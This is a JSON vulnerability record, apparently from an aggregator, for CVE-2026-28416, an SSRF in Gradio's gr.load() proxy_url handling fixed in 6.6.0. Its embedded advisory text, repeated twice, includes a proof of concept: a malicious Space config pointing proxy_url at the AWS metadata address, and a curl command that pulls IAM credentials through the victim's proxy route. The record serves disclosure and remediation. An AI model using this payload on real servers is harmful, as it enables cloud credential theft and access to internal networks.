{"id":"CVE-2026-28416","aliases":["EUVD-2026-9084","GHSA-jmh7-g254-2cq9","PYSEC-2026-66"],"status":"published","title":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.07262,"percentile":0.94397,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-02-27T21:47:04Z","modified":"2026-11-09T10:45:38Z","fixes":[{"ecosystem":"PyPI","package":"gradio","fixed_in":["6.6.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"gradio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"gradio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","0.2.0","0.2.1","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4.0","0.4.1","0.4.2","0.4.4","0.5.0","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9.2","0.9.9.3","0.9.9.5","0.9.9.6","0.9.9.7","0.9.9.8","0.9.9.9","0.9.9.9.2","1.0.0","1.0.0a1","1.0.0a3","1.0.0a4","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.8","1.1.8.1","1.1.9","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.4.0","1.4.2","1.4.3","1.4.4","1.5.0","1.5.1","1.5.3","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0.0","2.0.1","2.0.10","2.0.2","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2","2.1.4","2.1.6","2.1.7","2.2.0","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.2.9a0","2.2.9a2","2.3.0","2.3.0a0","2.3.0b101","2.3.0b102","2.3.0b99","2.3.3","2.3.4","2.3.5","2.3.5b0","2.3.6","2.3.7","2.3.7b0","2.3.7b1","2.3.7b2","2.3.8b0","2.3.9","2.4.0","2.4.0a0","2.4.1","2.4.2","2.4.4","2.4.5","2.4.6","2.4.7b0","2.4.7b2","2.4.7b3","2.4.7b4","2.4.7b5","2.4.7b6","2.4.7b7","2.4.7b8","2.4.7b9","2.5.0","2.5.1","2.5.2","2.5.3","2.5.8a0","2.6.0","2.6.1","2.6.1a0","2.6.1b0","2.6.1b3","2.6.2","2.6.3","2.6.4","2.6.4b0","2.6.4b2","2.6.4b3","2.7.0","2.7.0a101","2.7.0a102","2.7.0b70","2.7.5","2.7.5.1","2.7.5.2","2.7.5.2b0","2.8.0","2.8.0a100","2.8.0b0","2.8.0b10","2.8.0b12","2.8.0b2","2.8.0b20","2.8.0b22","2.8.0b3","2.8.0b4","2.8.0b5","2.8.0b6","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0.1","2.9.0b0","2.9.0b1","2.9.0b10","2.9.0b2","2.9.0b3","2.9.0b5","2.9.0b6","2.9.0b7","2.9.0b8","2.9.0b9","2.9.1","2.9.2","2.9.3","2.9.4","2.9b11","2.9b12","2.9b13","2.9b14","2.9b15","2.9b20","2.9b21","2.9b22","2.9b23","2.9b24","2.9b25","2.9b26","2.9b27","2.9b28","2.9b30","2.9b31","2.9b32","2.9b33","2.9b40","2.9b48","2.9b50","3.0","3.0.1","3.0.10","3.0.10b16","3.0.10b2","3.0.11","3.0.11b1","3.0.12","3.0.13","3.0.13b100","3.0.13b13","3.0.13b15","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.18b0","3.0.19","3.0.19b0","3.0.19b1","3.0.19b2","3.0.1b120","3.0.1b121","3.0.1b300","3.0.2","3.0.20","3.0.20.dev0","3.0.21","3.0.22","3.0.23","3.0.23.dev1","3.0.24","3.0.25","3.0.26","3.0.3","3.0.4","3.0.5","3.0.6","3.0.6b1","3.0.6b2","3.0.6b3","3.0.7","3.0.8","3.0.8b1","3.0.9","3.0.9b10","3.0.9b11","3.0.9b20","3.0b0","3.0b1","3.0b10","3.0b2","3.0b5","3.0b6","3.0b8","3.0b9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.3a0","3.1.3a2","3.1.3a3","3.1.3a4","3.1.3a5","3.1.4","3.1.4b0","3.1.4b1","3.1.4b2","3.1.4b3","3.1.4b4","3.1.4b5","3.1.5","3.1.5b1","3.1.5b10","3.1.5b2","3.1.5b3","3.1.5b4","3.1.5b5","3.1.5b7","3.1.5b8","3.1.5b9","3.1.6","3.1.6b1","3.1.7","3.1.8b0","3.1.8b2","3.1.8b3","3.1.8b4","3.1.8b6","3.10.0","3.10.1","3.11.0","3.12.0","3.12.0b1","3.12.0b2","3.12.0b3","3.12.0b6","3.12.0b7","3.13.0","3.13.0b1","3.13.1","3.13.1b0","3.13.1b1","3.13.1b2","3.13.2","3.14.0","3.14.0a1","3.15.0","3.16.0","3.16.1","3.16.1b1","3.16.2","3.17.0","3.17.1","3.17.1b1","3.17.1b2","3.18.0","3.18.1b1","3.18.1b2","3.18.1b3","3.18.1b4","3.18.1b5","3.18.1b6","3.18.1b7","3.19.0","3.19.1","3.2","3.2.1b0","3.2.1b1","3.2.1b2","3.20.0","3.20.0b1","3.20.0b2","3.20.1","3.21.0","3.22.0","3.22.1","3.22.1b1","3.23.0","3.23.1b1","3.23.1b2","3.23.1b3","3.24.0","3.24.1","3.25.0","3.25.1b1","3.25.1b2","3.26.0","3.27.0","3.28.0","3.28.1","3.28.2","3.28.3","3.28.4b0","3.29.0","3.3","3.3.1","3.30.0","3.31.0","3.32.0","3.33.0","3.33.1","3.34.0","3.35.0","3.35.1","3.35.2","3.36.0","3.36.1","3.37.0","3.38.0","3.39.0","3.3b0","3.3b1","3.4","3.4.1","3.40.0","3.40.1","3.41.0","3.41.1","3.41.2","3.42.0","3.43.0","3.43.1","3.43.2","3.44.0","3.44.1","3.44.2","3.44.3","3.44.4","3.45.0","3.45.0b0","3.45.0b10","3.45.0b11","3.45.0b12","3.45.0b13","3.45.0b9","3.45.1","3.45.2","3.46.0","3.46.1","3.47.0","3.47.1","3.48.0","3.49.0","3.4b0","3.4b1","3.4b2","3.4b3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Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28416","tags":["advisory"]},{"url":"https://github.com/gradio-app/gradio/commit/fc7c01ea1e581ef70be98fddf003b0c91315c7cc","tags":["web"]},{"url":"https://github.com/gradio-app/gradio/releases/tag/gradio%406.6.0","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-66.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jmh7-g254-2cq9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28416.json","tags":["advisory"]},{"url":"https://github.com/gradio-app/gradio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-28416","title":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","status":"published","published":"2026-02-27T21:47:04.975Z","modified":"2026-03-02T21:59:40.942Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:02.290587Z"}],"euvd":[{"id":"EUVD-2026-9084","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","status":"published","published":"2026-02-27T21:47:04Z","modified":"2026-03-02T21:59:40Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:12.247854Z"}],"ghsa":[{"id":"GHSA-jmh7-g254-2cq9","title":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.\n\n### Details\n\nThe vulnerability exists in Gradio's config processing flow when loading external Spaces:\n\n1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration.\n\n2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`:\n   ```python\n   if config.get(\"proxy_url\"):\n       self.proxy_urls.add(config[\"proxy_url\"])\n   ```\n\n3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint:\n   ```python\n   @router.get(\"/proxy={url_path:path}\", dependencies=[Depends(login_check)])\n   async def reverse_proxy(url_path: str):\n   ```\n\n4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host:\n   ```python\n   is_safe_url = any(\n       url.host == httpx.URL(root).host for root in self.blocks.proxy_urls\n   )\n   ```\n\nAn attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.\n\n### PoC\n\nFull PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6\n\n**1. Attacker creates a malicious Gradio Space** that returns this config:\n```python\n{\n    \"mode\": \"blocks\",\n    \"components\": [...],\n    \"proxy_url\": \"http://169.254.169.254/\"  # AWS metadata endpoint\n}\n```\n\n**2. Victim loads the malicious Space:**\n```python\nimport gradio as gr\ndemo = gr.load(\"attacker/malicious-space\")\ndemo.launch(server_name=\"0.0.0.0\", server_port=7860)\n```\n\n**3. Attacker exploits the proxy:**\n```bash\n# Fetch AWS credentials through victim's server\ncurl \"http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\"\n```\n\n### Impact\n\n**Who is impacted:**\n- Any Gradio application that uses `gr.load()` to load external/untrusted Spaces\n- HuggingFace Spaces that compose or embed other Spaces\n- Enterprise deployments where Gradio apps have access to internal networks\n\n**Attack scenarios:**\n- **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials\n- **Internal service access**: Reach databases, admin panels, and APIs on private networks\n- **Network reconnaissance**: Map internal infrastructure through the victim\n- **Data exfiltration**: Access sensitive internal APIs and services","status":"published","published":"2026-03-01T01:29:31Z","modified":"2026-06-06T00:22:41Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:17.745826Z"}],"nvd":[{"id":"CVE-2026-28416","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","status":"published","published":"2026-02-27T22:16:24.667Z","modified":"2026-06-17T10:28:34.953Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:07.420927Z"}],"osv":[{"id":"CVE-2026-28416","title":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","status":"published","published":"2026-02-27T21:47:04.975Z","modified":"2026-11-09T10:45:38.476098772Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-09T10:53:57.550641Z"},{"id":"GHSA-jmh7-g254-2cq9","title":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","description":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.\n\n### Details\n\nThe vulnerability exists in Gradio's config processing flow when loading external Spaces:\n\n1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration.\n\n2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`:\n   ```python\n   if config.get(\"proxy_url\"):\n       self.proxy_urls.add(config[\"proxy_url\"])\n   ```\n\n3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint:\n   ```python\n   @router.get(\"/proxy={url_path:path}\", dependencies=[Depends(login_check)])\n   async def reverse_proxy(url_path: str):\n   ```\n\n4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host:\n   ```python\n   is_safe_url = any(\n       url.host == httpx.URL(root).host for root in self.blocks.proxy_urls\n   )\n   ```\n\nAn attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.\n\n### PoC\n\nFull PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6\n\n**1. Attacker creates a malicious Gradio Space** that returns this config:\n```python\n{\n    \"mode\": \"blocks\",\n    \"components\": [...],\n    \"proxy_url\": \"http://169.254.169.254/\"  # AWS metadata endpoint\n}\n```\n\n**2. Victim loads the malicious Space:**\n```python\nimport gradio as gr\ndemo = gr.load(\"attacker/malicious-space\")\ndemo.launch(server_name=\"0.0.0.0\", server_port=7860)\n```\n\n**3. Attacker exploits the proxy:**\n```bash\n# Fetch AWS credentials through victim's server\ncurl \"http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\"\n```\n\n### Impact\n\n**Who is impacted:**\n- Any Gradio application that uses `gr.load()` to load external/untrusted Spaces\n- HuggingFace Spaces that compose or embed other Spaces\n- Enterprise deployments where Gradio apps have access to internal networks\n\n**Attack scenarios:**\n- **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials\n- **Internal service access**: Reach databases, admin panels, and APIs on private networks\n- **Network reconnaissance**: Map internal infrastructure through the victim\n- **Data exfiltration**: Access sensitive internal APIs and services","status":"published","published":"2026-03-01T01:29:31Z","modified":"2026-06-06T00:30:08.758537972Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:50.687609Z"},{"id":"PYSEC-2026-66","description":"Gradio is an open-source Python package designed for quick prototyping. Prior to version 6.6.0, a Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. Version 6.6.0 fixes the issue.","status":"published","published":"2026-02-27T22:16:24.667Z","modified":"2026-05-20T09:19:02.232478Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}